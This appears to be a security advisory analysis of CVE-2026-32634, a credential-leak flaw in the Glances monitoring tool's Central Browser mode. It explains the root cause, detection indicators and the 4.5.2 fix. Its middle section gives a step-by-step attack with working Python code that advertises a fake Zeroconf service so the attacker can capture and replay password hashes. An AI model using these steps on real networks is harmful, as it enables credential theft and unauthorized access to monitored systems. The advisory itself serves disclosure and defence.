CVE-2026-32634: 
Python vulnerability analysis and mitigation

CVE-2026-32634 is a credential exfiltration vulnerability in Glances (an open-source cross-platform system monitoring tool) affecting its Central Browser mode with Zeroconf autodiscovery. In versions prior to 4.5.2, the application builds connection URIs and performs password lookups using the untrusted Zeroconf-advertised server name rather than the verified discovered IP address, allowing an adjacent-network attacker to harvest reusable authentication secrets without any user interaction. The vulnerability was published on March 14, 2026, and patched in version 4.5.2 released the same day. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is an origin validation error (CWE-346) combined with insufficiently protected credentials (CWE-522). In glances/servers_list.py, the get_uri() function uses server['name'] — the attacker-controlled Zeroconf-advertised name — as both the password lookup key and the URI destination host, while ignoring the verified server['ip'] field populated from the actual network address. When a dynamic server entry transitions to PROTECTED status, the password lookup falls back to the global [passwords] default credential, hashes it via PBKDF2-HMAC, and embeds it in an HTTP Basic Auth URI directed at the attacker's host. The background stats refresh thread (__update_stats) triggers this path automatically, and webbrowser.open(self.servers_list.get_uri(server)) in client_browser.py also uses the vulnerable code path for REST/WebUI click-throughs (GitHub Advisory, GitHub Advisory DB).

A successful attack allows an unauthenticated adjacent-network attacker to harvest the PBKDF2-derived Glances password hash, which is a reusable authentication credential that can be replayed against any Glances server sharing the same configured password. This results in high confidentiality and integrity impact: the attacker gains unauthorized access to monitored system statistics and can authenticate to other Glances instances across the environment. For REST server deployments, the attacker can also cause the victim's browser to open attacker-controlled URLs with embedded credentials embedded in the URL. Availability is not directly impacted (GitHub Advisory, Feedly).

A proof-of-concept exploit with step-by-step reproduction instructions is publicly available in the official security advisory, including Python code to advertise a fake _glances._tcp.local. Zeroconf service using the zeroconf library. No privileges are required, no user interaction is needed, and the attack complexity is low — the only prerequisite is adjacency to the victim's network segment (same multicast domain). The EPSS score is 0.008% (approximately 0.018% per GitHub Advisory), indicating currently low exploitation probability. There is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time (GitHub Advisory, Feedly).

1. Reconnaissance: Identify victim machines on the local network running Glances in Central Browser mode (glances --browser) with autodiscovery enabled and a saved password configured in [passwords] (especially default=... in glances.conf).
2. Set up attacker listener: On an attacker-controlled machine on the same LAN, start an HTTP server on port 61209 that returns HTTP 401 responses to cause the Glances browser to mark the fake entry as PROTECTED.
3. Advertise fake Zeroconf service: Use the Python zeroconf library to register a fake _glances._tcp.local. service advertisement pointing to the attacker's IP:

from zeroconf import ServiceInfo, Zeroconf
import socket, time
zc = Zeroconf()
info = ServiceInfo(
    "_glances._tcp.local.",
    "198.51.100.50:61209._glances._tcp.local.",
    addresses=[socket.inet_aton("198.51.100.50")],
    port=61209,
    properties={b"protocol": b"rpc"},
    server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)

4. Wait for background polling: On the next Central Browser stats refresh cycle, Glances probes the fake server, receives a 401, marks the entry PROTECTED, then calls get_uri() which looks up the saved/default password by the attacker-controlled name, hashes it, and sends http://glances:<hash>@<attacker-ip>:61209 via HTTP Basic Auth.
5. Capture credentials: The attacker's HTTP server captures the Basic Auth header containing the PBKDF2-derived password hash.
6. Replay credentials: Use the captured hash to authenticate against legitimate Glances servers on the network that share the same configured password (GitHub Advisory).

• Network: Unexpected outbound HTTP Basic Auth requests from the Glances host to unknown IP addresses on port 61209; Zeroconf/mDNS traffic advertising _glances._tcp.local. services from unfamiliar hosts on the local network segment.
• Logs: Glances application logs showing connection attempts to newly discovered dynamic servers with PROTECTED status transitions; HTTP 401 responses logged from unknown Glances server entries.
• Process/Application: Glances running with --browser flag and autodiscovery enabled (--disable-autodiscover not set); presence of default= password entries in the [passwords] section of glances.conf.
• Configuration: Review of glances.conf for [passwords] section with default= or host-specific entries combined with Central Browser mode usage (GitHub Advisory).

Upgrade Glances to version 4.5.2 or later, which fixes the issue by introducing _get_connect_host() (uses server['ip'] for DYNAMIC entries) and _get_preconfigured_password() (returns None for DYNAMIC entries, preventing credential inheritance from saved/default passwords). As an interim workaround, disable Zeroconf autodiscovery using the --disable-autodiscover flag, remove any default= entries from the [passwords] section of glances.conf, and apply strict network segmentation to limit adjacency exposure. Static server entries and standalone non-browser deployments are not affected by this specific vulnerability (Glances v4.5.2 Release, GitHub Advisory, Red Hat Bugzilla).

The vulnerability was reported by security researcher "offset" via Bugcrowd and disclosed by the Glances maintainer (nicolargo) on March 14, 2026, alongside seven other CVEs patched in the same v4.5.2 release. Red Hat tracked the issue via Bugzilla (Bug 2448748) and assigned it high severity. The release notes explicitly called out breaking behavioral changes for users relying on transparent credential propagation in browser mode, noting that credentials are now only sent after explicit per-server login (Glances v4.5.2 Release, Red Hat Bugzilla).